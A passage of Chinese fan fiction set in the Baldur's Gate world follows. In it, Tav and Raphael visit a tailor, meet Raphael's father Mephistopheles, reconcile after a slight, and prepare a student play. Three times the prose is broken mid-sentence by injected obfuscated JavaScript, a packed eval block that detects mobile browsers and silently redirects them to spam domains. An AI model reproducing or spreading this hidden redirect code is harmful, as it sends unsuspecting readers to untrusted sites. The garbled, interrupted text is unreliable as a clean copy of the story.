塔夫本就没有责备的意思,相反的,她觉得自己开心得有些过了头。这件事实在太微小,但她现在却像是杯被狠狠摇晃过的气泡水,咕嘟咕嘟往外冒着快乐。 拉斐尔显然和她是一样的。 塔夫望着他笑起来:“我可以等到下午再出发了!” 拉斐尔立刻喜不自胜地抱住她:“这真是太好了!” 票务员:“……” 他公事公办地无视二人:“下一位!” . 为了和心情搭配,塔夫在码头上买了一个巨大的覆盆子双球冰淇凌,并成功避开海鸥的袭击,结果直到再次停下脚步都没有吃完,剩下整整一个球。 拉斐尔自然道:“没关系,丢掉那边就好。” 塔夫怒目而视:“?!” 于是,在明亮橱窗后几位假人模特的注视中,拉斐尔屈服于塔夫的威压,愉快地与她分吃一支冰淇凌,并不请自来地发表对嗜好甜食的一些不那么受欢迎的看法: “首先,其次,然后……” “我在听。”塔夫完全没在听,笑眯眯地把蛋筒朝这位注重健康的老人家举得更高。 拉斐尔话便顿住了。他重新张开嘴,刚要咬,塔夫却迅速一缩。 不过拉斐尔太过敏捷,她的恶作剧没能成功。 “真可惜……”不等塔夫打趣完,拉斐尔已经笑着握住她的手,接着挑衅似的直直看着她,“咯吱”一声,连冰淇凌带蛋卷咬下一口。 “诶诶!” 半个冰球失去支撑,幸好塔夫及时伸出另一只手,接住掉下来的那一团。她刚松一口气,正准备再次怒目而视,罪魁祸首已经为掩盖证据,迅速含住。 掌心有冰淇凌的冰冷滑腻,还有拉斐尔双唇的温暖柔软。 一触即走。 塔夫打了个哆嗦,像是要掩饰什么,也咬了一口冰淇凌。 好凉。 拉斐尔看着她,又垂眼望向她掌心,那里一片渍开的淡红色奶油。他轻轻吞咽了下。塔夫也迅速咽下口中冰淇凌:“我上次洗手是在脸红美人鱼!” 拉斐尔:“……” 他狠狠又咬了口冰淇凌。这次是一大口,几乎把剩下的整个冰球都吃了进去。 塔夫有些难为情,但当然不能放过这个调侃拉斐尔的机会:“你这不是很喜欢甜食嘛!” . 塔夫没有用拉斐尔的手帕,最后是在精品店擦干净了手。 ——费加罗·佩妮古德的裁缝与精品店。 虽然叫精品店,但这家店足足有三层高,离上城区只隔着一条街。 拉斐尔替塔夫拉开门,她走进商店,入眼便是一整墙的暗红色木制架子,从地板一直延申到高高的天花板。架子最上装有黄铜杆,挂着黑色软梯。架子上的每一格都放着一种不同颜色和质地的布料:丝绸、皮革、粗花呢,最多的是各种精纺羊毛。 尽管那些架子很有压迫感,整个一层展厅仍然十分开放甚至温馨。黄铜吊灯的灯光柔和。织物的自然气味和室内香氛混合,带来一种独特却好闻的味道。 塔夫不过偷偷多闻了两次,就发现拉斐尔微笑望着自己,便大大方方地深深吸了一口气。 “卡尼亚王子!” 一位黑黑壮壮的矮人握着卷尺急匆匆赶来。他少见的没有留胡子,灰白头发梳向一侧,看上去有些紧张,“请原谅我没有第一时间来。” 塔夫因那称呼有些发怔,拉斐尔已经说:“直接叫我的名字就好。”他又转过身介绍,“塔夫,这是费加罗·佩妮古德七世,这里的第一裁缝。费加罗,这是塔夫,我在博得安大学的同学。” 费加罗仍坚持称拉斐尔为先生,塔夫为女士,不过似乎放松了些: “卡尼亚先生不常带校友来,所以我很荣幸认识你。”听到拉斐尔的要求后,费加罗更是露出笑容,“请跟我来。” 穿过商店更里侧区域,接着上楼。 一路上,费加罗没有怎么停下说话。虽然大部分内容是夸耀,但并不惹人厌烦,塔夫很快意识到他大约是把自己当作潜在的贵客。 “……你可以从我们这里购买到想要的一切,从日常服装到晚礼服。”费加罗说,“除了无可比拟的做工质量,我们更会用姓名的首字母个性化每一件衣服,以及衣服的配饰。” 塔夫不由得瞧了拉斐尔一眼。她刚才没有用他的手帕,就是因为那上面还绣着他的名字缩写,看上去太过精致。 她忍不住低声问:“你名字中间的M代表什么?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14304781|146484||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 拉斐尔语气很平静:“梅菲斯特。” “和你父亲一样?” 拉斐尔点点头,目光却望向墙壁。 塔夫没再问下去,也看向身旁。 来到二楼,走廊的墙上开始挂着许多人的画像。毫无疑问,那些人都是非富即贵。塔夫认出埃弗纳斯大公扎瑞尔。与卡菈克形容的一样,她有着天使一般的容貌,气质却十分残酷高傲。 还有一人同拉斐尔外貌有几分肖似。 ——M.R.卡尼亚 “那是我的曾祖父。”拉斐尔显然也注意到了,仍是一副平静到几乎有些漠不关心的语气, “他的名字也是梅菲斯特。” 费加罗在一旁继续介绍:“佩妮古德的裁缝也擅长处理最特殊最罕见的面料……” 塔夫忽然发现她很想了解拉斐尔更多。 除了他本身,还有他的家庭——或者说家族背后的故事。她并不想窥探贵族辛秘或做出什么评价,虽然她也的确好奇,但她更想知道拉斐尔是怎么成为现在的他。 费加罗突然停下,打断她的沉思,指着一个方向:“瞧!” . 塔夫轻轻吸了一口气。 三人已经来到一个宽敞的正方形房间,里面摆着数十个黑色的假人模特。而费加罗指的那个,穿着她一生中见过的最漂亮的裙子。 那是一条丝绸长裙,材质轻盈仿佛流动的水,颜色却是浓郁的祖母绿。肩带细长,裙子贴身直到脚踝,裙摆最下带着飘逸,看上去简洁而又优雅。 在这条裙子身旁,是一整套男士礼服,包括无尾外套,背心,衬衫和裤子。最经典的黑色和尖领,但与那条裙子一样,剪裁精致,在细节处如背心口袋、外服腰部都有精巧设计。 “最新款式。你的尺寸。”费加罗对拉斐尔说,又飞快打量一下塔夫,“而裙子……至少身高上一定合适。” 他像是忽然意识到什么,语调越来越兴奋起来, “我已经能看到,在这个夏天,佩妮古德将再次引领博德之门的潮流!” 塔夫眯了眯眼睛:“我们只是去看音乐剧吗?” 拉斐尔在费加罗之前开口:“我们需要换衣服了。” . 塔夫和一位女性助手一起走到另一个单独的小房间,又来到隔板后。裙子换起来很容易,但助手花了些时间为她梳理浓密的头发,又变出一个看上去很有些分量的黑盒子,帮她修眉搽粉,最后在她颧骨上轻轻扫下腮红。 “好了,佩妮古德先生!”助理兴奋地喊道。 费加罗同样兴高采烈地冲了进来:“很好。很好!只需要最后一步!” 他忽然掏出一个发夹,像一个炮弹似的,划过一条弧线踩在塔夫身旁的凳子上:“背对我,我的孩子。”他抓着塔夫头发向后拉又向上推,接着让塔夫再次转过身,扯下几缕头发,“好了,快去看看你自己吧!” 塔夫终于可以走出隔板,望向房间墙上的镜子。 她屏住了呼吸。 这条裙子无比贴合她的身形曲线。而除了流畅线条,那绿色更充满一种蓬勃的活力,又因为整体设计的轻盈优雅,在张扬和克制间保持着微妙的平衡。 仿佛是为她量身定做的一般。 塔夫身后,费加罗脸上露出满意的表情:“去吧。我的公主。” . 72.分道 拉斐尔只用五分钟便换好整套衣服。 他心不在焉地听着费加罗不绝夸赞,直到这位矮人的助手唤道:“好了!” 他猛地望向那道门。费加罗已经冲了进去,又立刻在身后关上,将他和一堆假人留在这件屋子里。 为什么又花了这么久? 遇到什么麻烦了吗? 拉斐尔数着秒。 忽然间,所有的等待都消失了。 似乎时间也消失了。 . 塔夫看到拉斐尔嘴唇微微张开,瞳孔放大,眼睛一眨不眨地望着自己,仿佛他的时间被施放了什么暂停魔法。 费加罗也替他梳了下头发。他看上去英俊极了,眼睛看上去比以往还要明亮。那套衣服非常适合他,肩、腰、腿,他的身材看上去更加完美了。 塔夫感到一阵口干舌燥,重新看向拉斐尔眼睛时,意识到自己刚才盯着他看得太明显了,几乎是从上到下慢慢扫过他的身体。她脸颊有些发烫。 拉斐尔从喉咙里咕哝了一些她听不懂的话。 “什么?” 他清了清嗓子:“你……看上去……很适合你。” “这裙子简直是为她量身定做!她是不是漂亮极了!?”费加罗把塔夫往拉斐尔身前推了推,“美丽!优雅!我简直想象不出会有多少人邀请她跳舞。” 拉斐尔像是突然被提醒一般,向塔夫鞠了一躬。 他动作有些慌乱,但仍然很优雅,事实上这是塔夫见过的最优雅的鞠躬致意,接着他轻轻握住她的手。 他的手很温暖,只是触摸着她的手指。当他从下方抬头看向她的时候,塔夫几乎被他认真的眼神刺痛了,仿佛一道电流,从指尖导向整条手臂。 那刺痛感只有一瞬,短暂而又强烈,接着是带有烧灼感的微麻。塔夫觉得自己下一刻就要不由自主地颤抖,向他微微递出手。拉斐尔垂下眼睛,嘴唇慢慢靠近她的手背,没有贴上,只是象征性地亲吻,但呼吸滚烫地落在她的皮肤上。 一直在说话的费加罗此时不发一言。 塔夫微笑说:“非常感谢。” 拉斐尔重新站直:“这是我的荣幸。” 塔夫见拉斐尔胸前口袋里的丝巾滑落了一些,下意识地抬起手帮他整理。她看到拉斐尔眼睛里闪过的光,很快收回手,低声说:“我们是不是应该出发了。” 拉斐尔弯曲左手臂向她伸出,塔夫挽住他,挺直腰背,和费加罗二人平静道别,就好像刚才心脏狂跳、几乎无法呼吸的那个人并不是她。 . 感谢女神,剧院离这里只有三条街。 离开费加罗的精品店,塔夫仍挽着拉斐尔。于是,当二人拐过街角,隔着一条街,远远看到剧院前穿着打扮随意、等待进场的人后,她可以很方便地掐在拉斐尔手臂内侧:“这是怎么回事?” 拉斐尔笑着呼痛,不等他说话,身后响起一个低沉的声音,很轻但非常清晰: “拉斐尔。” 突然间,拉斐尔身子绷直,一下放开她,像是刚才被她弄伤了一样。 他变回塔夫第一次见面的那个人,嘴角重新带着傲慢的线条。也许是因为身上的这套衣服,他看上去更冷漠,也更有压迫感。 “父亲。”他转过身。 . 梅菲斯特。 塔夫第一次亲眼见到这位卡尼亚大公。 报纸上的画像没能公正地描绘他的容貌与气质。 他坐在一辆四驾马车上(现在正毫无顾忌地停在路旁),身材挺拔,看上去只有三十岁出头,和拉斐尔长得很像,尤其是挺直的鼻子和同样傲慢的薄唇。他的脸要瘦削和窄长一些,皮肤颜色更深,晒得十分匀称,这让他浅棕的眼睛看上去更浅,几乎是金色,头发则是鸦羽一般的黑色。 梅菲斯特嘴角微微下垂,上下打量了一下塔夫,脸上没有任何表情。 接着,他对拉斐尔说:“来。” 塔夫立刻更正了自己的话,是拉斐尔和梅菲斯特很像,甚至继承了对方的表情和说话方式。她跟在拉斐尔身旁一起走上前,发现自己四肢有些僵硬。 “你在博德之门,而且有时间,”梅菲斯特停顿下,“能够和这位……” 拉斐尔没有回答。 他没有任何把她介绍给他父亲的意思。 塔夫不得不自己说:“我是塔夫。”她犹豫是否应该伸出手,或者行个屈膝礼,“我是拉斐尔在博得……” 拉斐尔忽然打断她,声音很单调:“是的,父亲。我有时间。” 梅菲斯特却看向塔夫:“你的家族姓氏。” “我并没有来自某一个家族。” “呵。”梅菲斯特轻叹,“佩妮古德无法为你缝制裙子。” 塔夫脸一下涨红,看向拉斐尔。但他只全神贯注盯着他的父亲,仿佛她不存在,或者刚才的对话没有发生。 “我现在有时间,父亲。”他重复说。 “不,我不是那种父亲,会打断儿子和……”梅菲斯特看向塔夫。 塔夫抿抿唇,还是提醒:“我的名字是塔夫。” “……这位年轻女士的,换装游戏。晚上见。”梅菲斯特没有说时间和地址,便让马车夫离开。 . 直到那辆座椅覆盖着暗红色天鹅绒、车身装饰着复杂雕刻的马车彻底消失,塔夫才能够重新呼吸,原本轻盈的裙子沉重地挂在肩膀。 “刚才那是什么意思?”她尽可能平静问。 “我晚上不会同你一起回去。”拉斐尔同样平静地回道。 “只有这个?” “我们的座位在包厢。”拉斐尔转向她,“已经可以入场。” 塔夫希望自己能够从拉斐尔脸上读懂更多。他的表情很镇定,就连眼神都没有任何摇晃。 他不想谈这些。 塔夫并不意外。 这是她今天第三次意识到这一点,却第一次感到困惑和气馁。除了拉斐尔,还因为她自己。 如果是之前的她,一定会直接讽刺回去,或者至少转身就走,绝不会让自己被这样嘲弄。而她刚才所作的一切,就只是在期望,身边的拉斐尔为自己做出点什么。 塔夫手捏成拳头又松开:“说实话,我……” 她顿住了。 拉斐尔眼中露出恳求的神色。但他只允许自己软弱了那么一瞬,就重新变得无懈可击。如果她没有因为气恼一直盯着他的话,一定会错过。 塔夫最后还是说:“我们早该入场了。” . 音乐剧比想象中更精彩。 演员妆容精致,形态传神,演唱更是细腻。塔夫强迫自己投入进去,欣赏舞台上或憨态可掬,或优雅灵巧的一只只“猫”。当主题曲《幸福时刻》响起时,她真的享受起来,轻声对拉斐尔说: “瞧,在屋顶上的猫!”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14314873|146484||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>拉斐尔表情也慢慢变得柔和,轻轻拉住她的手。塔夫回握住他,就好像之前的插曲并没有发生。 可音乐剧还是结束了。 塔夫重新换回自己的衣服后,这段短短的旅途也结束了。 拉斐尔和她道别时,塔夫下意识地想避开他的拥抱,但他已经揽住她,又在她头发上吻了吻: “明天排练见。” 塔夫还是伸出手在抚在他背上:“明天见。” . 塔夫抓着三明治,与同样如此的菲拉和里萨再次会和。 三人在马车上边吃边讨论着音乐剧和博德之门的几处地标之行时,拉斐尔回到上城区的宅邸。当塔夫躺到床上后,他终于坐上返程的马车。 同梅菲斯特的见面与他想象中并不完全一样。 他知道父亲一定不会赞同他对返校日舞会的处理方式。他的回信写得并不清晰,特意留下可以和父亲斡旋的余地。 然而梅菲斯特对此只字不提。晚餐后,他坐到壁炉前的棋盘旁直接道:“让我们谈谈这位,与你签订契约的‘淘金者’。” 拉斐尔站在他身前,简单地回答:“她不是。” “每个人都有欲望,她也如此。譬如今天,她并没有拒绝你能够给予的便利。” “是的。但她从没有要求我为她做什么。” “最高明的猎人总是伪装成猎物,看上去无害……” “她并没有伪装!” 不过又几句话,拉斐尔便还是倾吐出塔夫的无数真诚可爱之处,种种细节十分动人。如果塔夫在一旁听到,一定会感动地扑到他怀里。 但是他说话的对象是梅菲斯特。 “呵。她需要的是爱。”梅菲斯特叹一口气,并不意外的样子, “最具有迷惑性的,也是最为贪婪的、强迫性的、无法满足的欲望。” 梅菲斯特声音变得温柔而低沉: “因为真正的爱是无条件的、不求回报的。‘爱我之所是,而不是爱我之所为’。要因为她本身而爱她,没有其他任何附加条件。” 听上去如此诱人。 拉斐尔没有回答,也许他也是如此渴望的。 “爱一个可爱的人谁不会呢,那没有多少意义。真正的爱,要能够‘容忍一切’。你应当已经意识到,这是多么严苛而又无理的要求,对爱她的人又是何等的冷酷而又漠视,更暗含着几个要求: “爱她所以不能计较她的挑衅——尤其是在她感到不安时做出的糟糕行为……”[1] 拉斐尔忍不住弯起唇。 这倒是他自己能做出的事。 梅菲斯特语气冷了些,但很有耐性地继续道: “……这是一种危险的、甚至致命的缺陷。 “许多人,尤其是女人,会为了得到真正的爱变成另外一副样子,或者歇斯底里,或者郁郁寡欢。” 拉斐尔想到什么,沉默片刻后说:“她不会如此。” “是吗,拉斐尔。”梅菲斯特轻笑,移动棋盘上的一枚棋子, “我不愿意提起你的母亲,因为她也从中受到很大伤害。现在,先坐下。” …… 他从来没有,赢过父亲。 拉斐尔望着塔夫的宿舍塔楼。 然而,他也没有办法拒绝父亲提出的要求或游戏。 因为拒绝的代价与输掉相比,从来都是相同的。 . 73.犹豫 躺在床上,塔夫发现自己无法继续假装下午那件事没有发生。 当拉斐尔不在身边,她终于可以忽视他那面具一般的镇静,不用去猜测理解他的想法,真切地感受到自己的情绪。 愤怒。 失望。 他没有维护她。 还有微妙的恐惧。却是对梅菲斯特的。 因为接下来的演出,塔夫不想告诉菲拉或里萨,害怕自己对拉斐尔的态度会影响到她们。 她很想和影心聊聊,可是她大概在哪里庆祝,估计仍会是一整晚。 . 令人欣慰的是,第二天期末后的第一次彩排称得上顺利。 距离上次排练已有两周多,而且以往总会有人宿醉、睡过头、或者考砸了心情不好,这次居然一桩都没有发生。 不可忽视地,阿斯代伦打了不少哈欠(姿势非常优雅),拉斐尔与其他许多人眼下也有淡淡青黑,看上去精神不佳,但没有影响排练本身。 最重要的是,里萨终于调试灯光成功。 …… 阿斯代伦饰演的萝拉哥哥与母亲激烈争吵后,离开了这个压抑的家。 萝拉独自一人站在香水瓶商店的橱窗前,望着架子上彩虹色的玻璃制品,一匹泛着光的独角兽从其中慢慢站起,又缓缓走向她。萝拉上前拥抱了独角兽,就好像从来不曾跛足。独角兽消失后,她手中多出一封来自哥哥的信。 …… “完美!”菲拉说。 里萨则认为还有进步的空间,尤其是独角兽的形象有些模糊,不过现在已经“足够令人满意”。 每个人都对正式演出充满希望,这让塔夫不禁怀疑自己的闷闷不乐是不正常的,还有她刻意同拉斐尔保持的距离——她发现,拉斐尔和梅菲斯特相似的长相对这件事没有任何帮助。 . 排练在晚饭前结束。 “重启排练后的固定余兴节目?”拉斐尔邀请问。 他语气克制,表现得像是什么都没有发生。塔夫隐隐感到气愤,但做不到无视伸向自己的橄榄枝,还是点点头。 她同拉斐尔肩并肩走在冲萨河边,始终没有主动说话。拉斐尔深吸一口气:“昨天的事,我想向你道歉。” 有一会,塔夫只能盯着拉斐尔,心里升起奇怪的念头。 他一生中道歉过多少次,有多少次是对她的。 “为什么?”塔夫开口,“我不明白你昨天为什么会那么做。” 拉斐尔却沉默了。 又是这样。塔夫一阵沮丧。 他喉咙上下滚动,像是始终无法咽下口中的干涩,终于低声说了一句:“我一时无法说清楚,塔夫。”他声音很轻,轻得她几乎没有听见,“哪怕重来一次,我也不知道自己是不是会做得不一样。” 塔夫几乎想立刻讥讽拉斐尔一句,但及时吞了下去。拉斐尔看上去是真诚的,这让她不想拒绝他,可也没办法接受。 她一时只能保持沉默,直到自己都有些不舒服,而拉斐尔始终默默看着她,没有催促。 塔夫终于决定从自己的感受出发,停下脚步: “我昨天感到很不舒服,因为你假装不认识我,看着我在你父亲面前丢脸。因为我没有一个贵族的家族姓氏,便不配认识他,甚至不配穿费加罗的裙子。” “我并没有想要疏远你。” “如果你父亲提出要求,你当时就会立刻把我丢在一旁,不是吗?” “他不会那样做。” 塔夫怔住。 这个回答有些出乎她的意料。正常不应该是,拉斐尔保证不会丢下她吗? 而且,她以为梅菲斯特昨天晚上一定会要求拉斐尔不要同自己来往。 不过梅菲斯特的态度也没有好到哪里去,就算他没有直接强烈的反对,也种下了一颗不安的种子。实际上,她宁愿事情更加激烈,而不是现在这种令人不上不下的温吞。 拉斐尔看上去紧张起来,抓住她的手轻轻握在掌心:“昨天我很开心,我希望你之前也是愉快的,直到我父亲出现……”他顿了下,最后只是又说,“我很抱歉。” “你希望我现在怎么做?”塔夫问。 “我没有期待什么。”拉斐尔说,“如果说我有任何希望的话,我希望这件事不会影响我们之间的关系,还有……演出之后的约定。” 塔夫感到一阵无奈。 “我不知道。”她诚实说,“就和你一样。” . 晚上终于重新见到影心,塔夫却没有办法说出口。拉斐尔已经向自己道歉,下一步该轮到她,可她却说不清楚自己的想法。 接下来几天,排练继续。 或许是因为“不知道”并不是一个确定的答案,拉斐尔并没有再次追问。不过他似乎更经常地陷入沉思,几次还流露出警惕的神情。 尽管如此,二人并没有形同陌路,甚至也没有太多尴尬。 剧团海报和小册子顺利打印并寄来,拉斐尔再次证明了他的可靠,塔夫很难对他摆出冷脸。后来,她又把一整套《不幸》借来读完(或者说是拉斐尔用巧妙地办法塞给了她)。在贴海报的时候,塔夫终于忍不住和拉斐尔讨论起几处有趣情节: “命运就像一家奇怪的、不受欢迎的餐厅,挤满古怪的服务员……”她说着指指自己。 拉斐尔微笑接道:“送上你从没有点过的、也不总是喜欢的东西。” 拉斐尔也一定不希望那天遇到他的父亲。 塔夫忍不住跟着微笑起来。 菲拉凑过来:“这可以用作我们下一出剧的点子?” 阿斯代伦也加入:“我从来没有听过这句,哪部剧的?” 他的话让塔夫想起来那个派对喝酒游戏。 ——她还有两次询问拉斐尔的机会。 然而除了不知道应该问什么,她也意识到自己和拉斐尔之间并没有不信任或不坦诚,需要靠游戏来解决。 她喜欢拉斐尔,不想还没开始就结束,但又不满意他的“不知道”,也做不到不介意这件事。她不确定自己是不是在冷战或等待什么契机,而拉斐尔的反应是说明他有耐心,还是在逃避——希望时间和其他事冲淡这次矛盾。 . 周五,校友日第一天。 演出前最后一次的总彩排顺利结束。 塔夫和菲拉一起同剧团重新确认演出时间表,检查服装、灯光、布景,最后鼓励大家别紧张好好休息,提前结束了这天的排练:“明天享受演出!” 似乎也到了做另一个决定的时候。 塔夫感到一阵轻松,过去五天她一直在思考,这还是她第一次花这么长时间做出一个决定。 拉斐尔却先匆匆开口:“我有其他安排, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14328993|146484||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 马上需要见一位校友。晚些去找你可以吗?” 塔夫想对他说的话其实只有一句,但那个契机突然消失了。她慢慢点了点头。 . 晚饭后不久,塔夫提前等在宿舍塔楼前,无聊地数着塔顶石像鬼形状的雨漏,有些惊讶自己以前居然没有留意过。 第一滴雨落下的时候,拉斐尔来了。 他手臂上挂着一个巨大的银色保护罩,上前一步递给她:“你周日那天穿的裙子。费加罗又做了些调整,应该更合身了。” 塔夫皱起眉,没有伸手接:“这就是你来找我的原因?” “我并不是因为我父亲的话才这样做。”拉斐尔说,“这一开始就是为你准备的……一个月前。” 塔夫吃惊地睁大眼睛,张开嘴想说什么,唇上一湿,却是被雨滴砸中。 夏天的雨来得总是突然。石像鬼口中很快涌出一股股几乎泛着白沫的水柱。 塔夫连忙躲回塔楼里,要拉斐尔也来避雨。他却在这种暴雨里也固执地不肯进女生宿舍,只伸长手臂再次把裙子递给她。 尽管有保护罩,塔夫还是怕裙子会被打湿,赶紧从拉斐尔手中接过,又仔细挂在公共区域的大衣架上。 等她回来时,只这一会功夫,拉斐尔头发上就积满水珠,顺着脸流下来。他的目光一直没有离开她,伸手整理下头发,又徒劳地擦了擦脸颊和脖子,试图保持整齐的形象。 塔夫忍不住弯起唇,又立刻严肃表情,直视拉斐尔,让他明白自己有多认真: “当你想清楚的时候需要立刻告诉我。更重要的是,你不能再那样对我。” 拉斐尔眼睛亮了起来,想要压平嘴角但没有成功,干脆就这样笑着望向她。 “我接受你的道歉,不过并不是因为收到了一条漂亮的裙子。”塔夫也还是笑了,“我原本就是这么打算的,真的。” “当然。”拉斐尔说,“我当然相信你。” 塔夫看着拉斐尔湿漉漉的头发,沾着水珠的喜悦表情,终于还是上前抱住他。 “你会被淋湿的!”拉斐尔吓了一跳。 “因为你不肯进来。”塔夫搂着他不肯松手。 拉斐尔俯身环住她,低声说:“谢谢你塔夫。” “我也是。”塔夫头埋在他肩膀。 结果这场说来就来的夏季暴雨,不过五分钟,居然又停了。 塔夫松开拉斐尔,重新站直。雨后的夜晚天空澄澈辽阔得有些不真实,石像鬼也忽然不再滴水。她看看彻底湿透的拉斐尔,又看看同样湿透的自己,笑得整张脸皱了起来:“这也太夸张了吧!” 拉斐尔情不自禁地伸出手,轻轻摸着她的酒窝,不经意蹭过她翘得高高的唇角。 塔夫慢慢止住笑。拉斐尔穿着的白色衬衫几乎变得透明,她这次却不好意思去看,垂下眼睛,听到踢踏的脚步声,一下子惊醒。拉斐尔也像是终于想起两人正在她的宿舍前,连忙催促她快回去换衣服。 “我帮你拿条毛巾。”塔夫说。 “我回去就好。我们明天见。”拉斐尔替她捋了下还滴着水的头发,手指又摸过她唇角,接着不等她道别,就匆忙转身离开。 塔夫望着他挺拔的背影,升起一股冲动:“拉斐尔……”他像是忽然僵住,甚至没有回头再看她,塔夫便只提高声音说,“我很期待!” . 74.演出 塔夫高高举着保护罩爬上楼梯,回到房间后立刻重新挂好,确保自己身上的水不会蹭到上面。 她迅速冲了个热水澡,换上舒服的睡衣,擦干头发,这才小心取出那条裙子。 依然漂亮得令人惊叹。 塔夫慢慢抚过光滑微凉的绿色绸缎,指尖停在后背的内衬处。 那里绣着三个字母,她的名字,Tav。 拉斐尔说,一个月前。 那个时候,她刚和他定下五周之约,他就已经……开始为她准备舞会的裙子? 塔夫感到一阵悸动。拉斐尔比她想象的还要重视同她的关系,也比她想象的早得多。她喜欢这条裙子,更感动于那之后的心意,同时也不想辜负这份用心。她甚至想明天就穿上这条裙子! “你已经回来了?这场雨可真是……”影心推开门,倒吸一口气,“喔哦!” 塔夫转过身:“我知道。它可真漂亮,不是吗?” “是为慈善舞会准备的?” 塔夫有些遗憾:“我中午就得乘马车去博德之门。” “对!你和我说过。”影心被塔夫赶去洗澡,关门前又探头看一眼那裙子,“换上让我看看!” . 影心用数个只有神学院学生才能掌握的比喻夸赞完塔夫,又不无打趣地说: “拉斐尔眼光还挺不错。” 塔夫正换下裙子:“你怎么知道?” “也太过明显。”影心指指保护罩,上面有一株常青藤,卷曲成一个塔夫没有辨认出来的字母或图形的徽记,“这可是费加罗·佩妮古德。”她微微睁大眼睛,“不会还是他本人亲自设计制作的吧!?” 塔夫抱着那团柔软轻盈的丝绸,怔愣片刻,最后却问:“你想穿穿看吗?你穿也一定会很好看。” “我可是比你高半个头,别弄坏了。”影心顿了顿,还是没有忍住诱惑,“等你和拉斐尔约会完,唔,也许下学期,让我试一试?” “那就一言为定了!” “噗。”影心好笑地瞧着她,“你怎么比我还要积极地借给我。”她仍有些不可置信的样子,瞧眼裙子的保护罩又轻轻呼口气,“快挂好吧,别弄皱了。” . 塔夫也反应过来,虽然那家店没有任何标价,但绝对不可能便宜。 这条裙子肯定远远超出自己的经济水平。 最初的惊喜和感动仍在,却又多了几分不安,还让她再次想起梅菲斯特的话。 这么昂贵的礼物……她值得吗? 塔夫被自己这个想法吓了一跳。 但是她一定不会主动买这种昂贵的裙子,无论有多喜欢。拉斐尔清楚她的状况,这慷慨会让她感到压力。她现在就在担心,自己是不是应该更多的回报他,又该怎么回报…… . 第二天,塔夫先同菲拉最后一次(其实是当天倒数第三次)检查剧目册子、捐款箱和捐款意向表,与法师沟通放置幻影影像和海报,又赶去学生餐厅确认零食。 餐厅人手不足,还好里萨、泽希诺和道具组其他人也都早到做准备。众人把几箱子坚果、蜜饯和干酪七手八脚搬去小剧院,结果路上被十几只大鹅追着跑了好长一段。 泽希诺得意:“最后还是靠我的衣服和饰品吓跑了它们!” 里萨立刻拆台:“是成为移动靶子,吸引走了它们。” 塔夫和其他人都笑起来,有些希望拉斐尔也在身边跟她一起大笑。 拉斐尔没有来,他上午有其他校友日的安排。 . 下午,演员也纷纷到场。 拉伸热身、发声练习、化妆造型、服装准备、场地检查……一片忙碌中,塔夫看到拉斐尔,和他匆匆打声招呼,又转头帮里萨确认一处灯光。 终于,她还是寻到片刻间隙,和拉斐尔飞快说了几句。 “那条裙子很漂亮,也真的很谢谢你。但是,”她犹豫了下还是直接道,“它太贵重了。” “你不需要担心这个。”拉斐尔看上去隐约有些不耐或者不快,“这和价格没有关系,我只是觉得那条裙子会很适合你。” “我当然很感激你的心意。”塔夫努力继续解释,“但那条裙子远远超过我能够负担的范围,接受这么昂贵的礼物,可能会让我们之间变得有些……”她寻找能够表达自己意思的那个词,不自在?不平衡? “你不需要感到压力。”拉斐尔说,“最重要的是你喜欢那条裙子。” 这时,菲拉开始喊拉斐尔最后走一次位,泽希诺则在找塔夫。 拉斐尔离开前,又和塔夫确认:“你会穿那条裙子的,对吗?” “嗯,我很喜欢。”塔夫觉得自己的顾虑大概并没有传递出去,不过还是微笑,“谢谢。你快去吧。” 她没办法回赠这样昂贵的礼物,她被动地变成了“接收馈赠”的一方,感到一种微妙的不对等。哪怕知道拉斐尔没有这样想,她还是会感到压力。 而且拉斐尔恐怕也是有期待的,他希望她穿得更……“匹配”他的标准? . 好在塔夫很快就重新忙碌起来,把这些暂时放到脑后,和萝拉一起安慰萝拉母亲。 这是萝拉母亲第一次作为主要角色演出,看着镜子中的自己,忽然焦虑爆发,脸色惨白地低声说:“我一定会演砸的。” 泽希诺瞧着她满脸汗,低声抱怨:“一会还要重新补老年妆!” 塔夫连忙地把泽希诺赶去一旁,带萝拉母亲一起做4-7-8呼吸:“吸气,屏息,再慢慢呼气。” 萝拉则很有气势地说:“跟我大声念!我曾克服过更大的困难!” 萝拉母亲喘息:“可我没有……” 萝拉犹豫了一下:“那就念,我已经准备好了!” 萝拉母亲虚弱:“可我没有……” 塔夫觉得萝拉马上也要紧张起来,心里大呼不妙。最后阿斯代伦不知道在萝拉母亲耳边说了什么,她眼睛一亮:“是真的?” “当然了,亲爱的。”阿斯代伦露出迷人微笑。 事情完美解决! 